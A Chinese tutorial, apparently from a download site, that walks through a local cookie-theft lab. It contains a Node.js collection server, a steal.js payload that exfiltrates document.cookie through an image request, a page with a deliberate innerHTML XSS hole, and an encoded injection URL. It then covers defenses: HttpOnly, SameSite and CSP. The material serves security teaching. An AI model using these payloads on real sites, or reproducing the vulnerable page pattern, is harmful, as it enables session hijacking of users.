简介面向网页安全学习者、渗透测试人员及前端开发者的JavaScript工具包演示浏览器端Cookie窃取与回传的完整实现原理适合在授权测试环境或本地实验中分析浏览器安全边界。压缩包共7个文件以JavaScript脚本为主体辅以Python服务端接收脚本、浏览器扩展清单、用于演示的页面以及说明文档整体体积仅33KB结构紧凑便于快速定位核心逻辑。当前已有186人下载学习。通过阅读服务端脚本可了解接收与日志记录思路通过扩展目录与脚本文件可分析扩展的加载方式及数据提取流程说明文档则提供项目使用背景与注意事项。资源适合作为安全课程中关于Cookie安全、浏览器扩展权限管理的补充案例也可帮助开发人员理解为何不应随意安装来源不明的扩展。1. cookie-stealer先把XSS攻击链路看懂再谈怎么堵死cookie-stealer 这个 JavaScript 小工具体量不大但把一个完整的登录态窃取链路压缩成了两个核心文件前端一段 payload 负责读取页面的 Cookie后端一个极简接口负责把数据回收。很多人看到“窃取”两个字就直接划走其实在 Web 安全领域这类工具的真正价值是当尺子用——你站点上的 HttpOnly 配没配、SameSite 有没有生效、Content-Security-Policy 能不能拦住外部脚本拿它跑一遍立刻见分晓。适合手头正在查登录态被劫持问题的后端开发也适合被安全测试报告追着补 Cookie 属性的全栈工程师新手按下面的步骤能在本地复现完整流程熟手可以跳过环境搭建直接看避坑部分。2. 拆解 cookie-stealer脚本、接收端和整条攻击链路2.1 整体构造一个 payload 加一个接收端这类工具十有八九长这样前端一段 JavaScript payload负责在页面上下文里读 Cookie 并发起回调后端一个极小的 HTTP 接口负责把回调里的 Cookie 收下来写入日志再配一个模拟漏洞页面的 demo方便观察注入点。拆开给你看就是三个文件steal.js前端载荷最后真正执行偷读动作的脚本server.js接收端用 Node.js 内置模块写的 HTTP 服务victim.html有反射型 XSS 漏洞的演示页整个工具最容易被低估的地方在后端之外——前段脚本能不能在目标页面里跑起来才是整条链路活不活的胜负手。接收端写得再复杂Cookie 传不过来都是白搭。先用 Node 内置模块把骨架搭出来不引第三方依赖// server.js —— Cookie 接收端 静态文件服务仅用于本地授权靶场 const http require(http); const fs require(fs); const path require(path); const url require(url); http.createServer((req, res) { const parsed url.parse(req.url, true); const pathname parsed.pathname; // 浏览器发起图片请求把 Cookie 拼在 query 参数里带过来 if (pathname /collect) { const cookie parsed.query.c || ; console.log([collect], cookie); // 追加写进日志方便连续捕获多条数据 if (cookie) { fs.appendFileSync(cookies.log, cookie \n); } // 返回 1x1 透明 GIF让页面完全无感 res.writeHead(200, { Content-Type: image/gif }); res.end(Buffer.from(R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7, base64)); return; } // 静态文件服务把请求路径映射到磁盘上的 victim.html、steal.js let filePath path.join(__dirname, pathname / ? victim.html : pathname); fs.readFile(filePath, (err, data) { if (err) { res.writeHead(404, { Content-Type: text/plain; charsetutf-8 }); res.end(404 Not Found); return; } const ext path.extname(filePath); const mime { .html: text/html; charsetutf-8, .js: application/javascript, .gif: image/gif }; res.writeHead(200, { Content-Type: mime[ext] || application/octet-stream }); res.end(data); }); }).listen(8080, () { console.log(listening on http://localhost:8080); });代码的关键点在/collect路径的处理方式。Cookie 不是通过 POST body 传上来的而是直接在 URL query 里拼一个c参数——因为前端 payload 后面要用new Image()发图片 GET 请求GET 没有 body只能用 query string 带数据这是这类工具一以贯之的做法。日志我故意用appendFileSync而不是writeFileSync是为了连续多次捕获时不会互相覆盖。本地实验数据量小同步写性能问题不明显真到了并发场景至少得换异步加队列否则会丢数据。静态文件服务那段是给后面的 demo 页准备的。我见过不少刚开始复现的人把 server.js 和 victim.html 分开两套服务开两个端口结果脚本加载被同源策略拦得死死的还以为是工具坏了。接收端、payload、漏洞页放在同一个源下本地实验能少走一大半弯路。2.2 payload 脚本为什么一张“空图片”能把 Cookie 带出去前端 payload 是整条链路的起点。新建一个steal.js// steal.js —— 页面被注入后执行的前端载荷 (function () { // 取出当前域下所有 JavaScript 可读的 Cookie const c document.cookie || ; // new Image() 触发 GET 请求把 Cookie 带回接收端 new Image().src /collect?c encodeURIComponent(c); })();第一行document.cookie只会返回当前域下、且没有标记 HttpOnly的 Cookie浏览器层面先做了一道过滤。第二行的new Image()是个值得玩味的细节它发起的请求不要求图片真正加载成功业务代码也不会因为图片 404 而报错所以是这类回调最轻量的载体。encodeURIComponent则绝对不能省——Cookie 原始格式里带分号、等号、空格直接拼进 URL 会让服务端解析参数时截断或错位后面避坑部分会专门展开讲。整个攻击链路的完整顺序是这样用户在登录状态下访问一个参数被直接渲染进 HTML 的页面典型反射型 XSS攻击者构造带恶意脚本的链接或参数诱导浏览器执行steal.jssteal.js读到document.cookie拼到/collect的 query 参数里浏览器发起图片 GET 请求Cookie 随之进入服务器日志攻击者拿到 Cookie 后直接冒充登录态发起后续请求。第五步既是攻击终点也是防御起点。你在第 3 步拦掉“读”这个动作后面整条链条全部失效。2.3 Cookie 属性对链路的切断点拆到这儿我想专门说一下边界。cookie-stealer 这类工具能不能防住取决于 Cookie 头里的几个属性开关Cookie 属性作用对 cookie-stealer 的影响HttpOnly禁止 document.cookie 读取直接让 payload 拿不到内容Secure只在 HTTPS 连接下发送限制明文网络环境下的传输SameSiteLax/Strict限制跨站请求携带 Cookie影响图片回调这类跨站场景Domain/Path限定 Cookie 的生效域和路径控制泄露的范围一句话总结cookie-stealer 的实战效果取决于目标站点有没有开 HttpOnly。开了这个工具基本报废没开且存在一个 XSS 注入点那就是连锁反应。这也是为什么我说拆这个工具的价值在防御侧——你亲眼看到它怎么失效配置下一层防护的时候才更有底气。3. 本地复现这套攻击把窃取流程在靶场里跑通3.1 最小靶场三个文件加一个 Node 进程复现不需要上真实网站本地一个目录就能跑完整条链路。需要的环境Node.js 14 以上一个现代浏览器一个空项目目录。先把server.js和steal.js放进去再补一个模拟受害者页面victim.html!DOCTYPE html !-- victim.html —— 故意存在反射型 XSS 漏洞的演示页面 -- html head meta charsetutf-8 titleXSS 演示页/title /head body h1反射型 XSS 演示/h1 !-- 这个 div 会被下面的脚本渲染注入发生的地方 -- div idoutput/div script // 读取 URL 上的 name 参数直接用 innerHTML 渲染 // 典型 XSS 漏洞点用户输入被当成 HTML 解析 var name new URLSearchParams(location.search).get(name) || 访客; document.getElementById(output).innerHTML 你好 name; /script /body /html漏洞点就在innerHTML。name参数经过URLSearchParams拿到的字符串没有做任何转义被直接塞进 DOM。浏览器遇到innerHTML里的普通script标签时行为比较特殊——纯赋值的时候脚本不会立即执行但通过动态插入带src属性的 script 标签浏览器照样会加载并执行。这正是攻击者想要的执行时机。把name参数默认值设成“访客”是为了不传参直接打开页面也能正常显示先确认基础渲染正常。一个连基础渲染都是坏的页面后面注入成功与否很难分辨。3.2 启动接收端构造一条注入链接在项目根目录执行node server.js看到listening on http://localhost:8080就说明接收端就绪。浏览器先访问一次http://localhost:8080/victim.html页面显示“你好访客”说明环境正常。接着构造注入 payload——把name参数的值设置成一段带src属性的 script 标签。为了不让尖括号、引号在 URL 里被浏览器或服务端误解提前做 URL 编码http://localhost:8080/victim.html?name%3Cscript%20src%22/steal.js%22%3E%3C/script%3E%3C是左尖括号%3E是右尖括号%22是双引号%20是空格。整套编码等价于script src/steal.js/script访问这个链接后页面渲染流程变成先输出“你好”接着把整个字符串赋给innerHTML浏览器解析到 script 标签后请求/steal.jssteal.js执行读 Cookie 并发起回调。此时回看 server.js 的控制台会看到类似输出[collect] session_idabc; user_id42我一般习惯把这段注入 URL 存到项目目录的payload.txt里后面改参数、换编码方式时直接编辑文件复制避免每次在浏览器地址栏手敲一大串编码字符。3.3 用开发者工具验证三步链路如果控制台没输出[collect]先别急着怀疑注入失败用浏览器开发者工具把链路拆开看。打开 F12 切到 Network 面板勾选 Preserve log重新访问注入链接。请求列表里应该出现三条记录victim.html本身steal.js来源是 query 里的 payload/collect?...带 Cookie 的图片回调。第三条存在说明steal.js成功执行并且读到了 Cookie。再看 Console 面板如果有脚本错误或跨域报错多半是路径或端口不一致导致的。还可以在 Console 里手动执行一行验证当前页面的 Cookie 可见性// 在 F12 Console 手动查看当前域下 JS 可读的 Cookie console.log(document.cookie);这里的结果就是steal.js内部document.cookie拿到的那份原始数据。我常用这个动作对比“浏览器实际存的 Cookie”和“JS 读得到的 Cookie”两个集合的差集就是 HttpOnly 在起作用非常直观。3.4 加入 HttpOnly 后的效果对照为了验证防御效果给响应头加一条Set-Cookie。在 server.js 的静态文件分支里追加逻辑// 给 /victim.html 的响应带一条 Set-Cookie模拟登录态 if (pathname /victim.html) { // 第一轮演示先不带 HttpOnly res.setHeader(Set-Cookie, session_idabc; Path/); }重启 Node 进程清掉浏览器里已有的 Cookie重新走一遍注入流程session_idabc会被捕获到。然后把上面那行改成// 第二轮加上 HttpOnlypayload 立即失效 res.setHeader(Set-Cookie, session_idabc; Path/; HttpOnly);再跑一遍会发现document.cookie返回空字符串或只剩非 HttpOnly 的项日志里也看不到session_id。这个对比实验做完HttpOnly 的作用就有了体感比背十遍文档都管用。第一轮结果捕获到 session_idabc 第二轮结果捕获不到 session_id页面其余功能正常顺带提一句Secure属性的验证需要 HTTPS 环境本地起 HTTPS 要自签证书复杂度明显上升。建议把它放到后面跟 SameSite 一起做综合验证而不是在本地 HTTP 靶场里硬磕。4. 避坑与排查复现过程中最常见的五个问题4.1 现象控制台没有 [collect] 输出整条链路“静默失败”这个坑我刚开始复现时踩得最狠。注入链接访问后页面显示“你好”看起来一切正常但 server 端日志就是一片空白像在黑匣子里跑流程一样没有业务线索。原因多半是 URL 编码不完整。比如只编码了尖括号没编码引号浏览器解析时把src属性截断了script 标签根本没加载另一种可能是编码后的字符在传输过程被服务端或浏览器做了二次解码导致注入内容失真。解决方式在 Network 面板里找steal.js这条请求。没有它说明 payload 没生效回查 URL 编码是否完整。推荐在 Console 里先执行一行new URL(http://localhost:8080/victim.html?name...)看浏览器解析出的searchParams是否还原成了完整的 script 标签。4.2 现象页面能跑通换个端口就弹跨域报错把接收端和受害者页面拆到两个端口或域名steal.js的加载或/collect回调就会被同源策略拦截。现象往往是 Network 里steal.js标红Console 抛 CORS 错误。原因是浏览器同源策略对跨域脚本和跨域请求的限制。本地演示时务必把server.js、victim.html、steal.js放在同一个源下也就是同一个 host 和端口。这里有个容易误判的点script 标签跨域加载本身通常不被拦但后续的 Cookie 携带和回调是否成功会受到第三方上下文和 SameSite 的严格限制所以别指望把脚本托管到别处就能绕过——那不是工具能力问题是浏览器按规范办事。4.3 现象页面正常但捕获到的 Cookie 永远少关键项捕获列表里有普通 Cookie但session_id、login_token这类关键项始终不出现。排查时先怀疑 HttpOnly——document.cookie根本读不到它。这不是工具失效是浏览器严格执行了 HttpOnly 属性。看 Application 面板里的 Cookie 列表凡是带 HttpOnly 标记的项都不会出现在 payload 的读取范围内。防御上的正确姿势是让所有涉及会话信息的 Cookie 都带上 HttpOnly同时接受一个事实任何 Cookie 一旦被 HttpOnly 保护前端 JavaScript 的任何合法业务逻辑也读不到它需要读写 Cookie 的场景得改用服务端逻辑或代理机制。4.4 现象捕获到的 Cookie 后面带着一串多余字符日志里出现csession_idabc; path/junk这种被截断或串参数的记录基本可以锁定是编码没做全。Cookie 字符串里的分号、等号、空格被浏览器或服务端当成参数分隔符导致后面的内容解析到别的 query 参数里去了。修复方式是 payload 里对document.cookie整体做encodeURIComponent接收端再decodeURIComponent还原。注意还原动作要放在写入日志之前不然日志文件里存的是编码后的一长串%3B%20可读性很差查数据的时候还得二次转义。4.5 现象浏览器开着页面日志文件却是空的这种情况最玄学。页面不报错、Network 里也看得到/collect请求但cookies.log是零字节。多数是浏览器对跨站 Cookie 发送的限制在起作用——SameSiteLax 下图片请求这种跨站子请求不会携带 Cookie服务端收到了请求但参数是空的。解决的思路是先把实验限定在同站场景所有资源都放在localhost:8080下。如果确实要模拟跨站 Cookie 场景需要给 Cookie 设置SameSiteNone; Secure同时把服务切换成 HTTPS——这种配置在真实业务里的代价不小也解释了为什么主流做法是尽量收紧 SameSite 而不是放开它。5. 防守侧动手让 cookie-stealer 在你这里彻底失效5.1 第一层开关HttpOnly把“读”这个动作直接废掉序列化的第一件事是把所有涉及会话信息的 Cookie 打上 HttpOnly。以 Express 为例一行配置res.cookie(session_id, sessionId, { httpOnly: true, secure: true, sameSite: lax });浏览器收到后同时写入三个属性HttpOnly 让 JS 读不到Secure 限定 HTTPS 发送SameSiteLax 让跨站子请求不携带。这三项正好覆盖 cookie-stealer 的三步关键动作读不到、传不走、跨站不携带。5.2 第二层防线CSP让外部脚本进不了页面XSS 注入点没堵死时HttpOnly 能兜住大部分风险CSP 还能再补一刀。给页面加一条响应头Content-Security-Policy: default-src self; script-src self; object-src none这条策略的含义是脚本只能从本站加载内联脚本和外部来源的脚本全部拒绝。cookie-stealer 里的steal.js如果是被偷渡进来的外部脚本会在 CSP 这层直接被浏览器拦截连读 Cookie 的机会都没有。代价是内联脚本需要挪到独立文件部分统计脚本要列白名单。5.3 第三层收口从源头消除注入点到这一层就是代码审查的活了。统一封装渲染函数禁止任何用户输入直接进innerHTML、document.write服务端模板引擎默认开 HTML 转义富文本内容走专门净化库配合 CSP 白名单一起用。自查清单我一般固定看四条所有 query 参数经过类型和长度校验输出场景区分 HTML、属性、URL、JS 字符串四种上下文动态生成的 HTML 一律用textContent而非innerHTML第三方 SDK 脚本统一走 CSP 白名单。5.4 把验证流程固化下来从那以后我每次上线涉及登录态的功能都会把 cookie-stealer 这套本地流程在测试环境强制走一遍原始页面跑一次、加 HttpOnly 跑一次、加 CSP 再跑一次三次结果一比对就知道配置有没有生效、是不是被人悄悄改回去了。这个习惯救过我好几回等保检查和内部红蓝对抗时也能直接拿出数据来比口头解释“我们配了 HttpOnly”有说服力得多。防御的本质是把攻击链路里的每一个环节都安排一个“不能再信任就拒绝”的规则。cookie-stealer 只是一个小点但它把这套规则演示得足够直观希望帮到你。本文还有配套的精品资源点击获取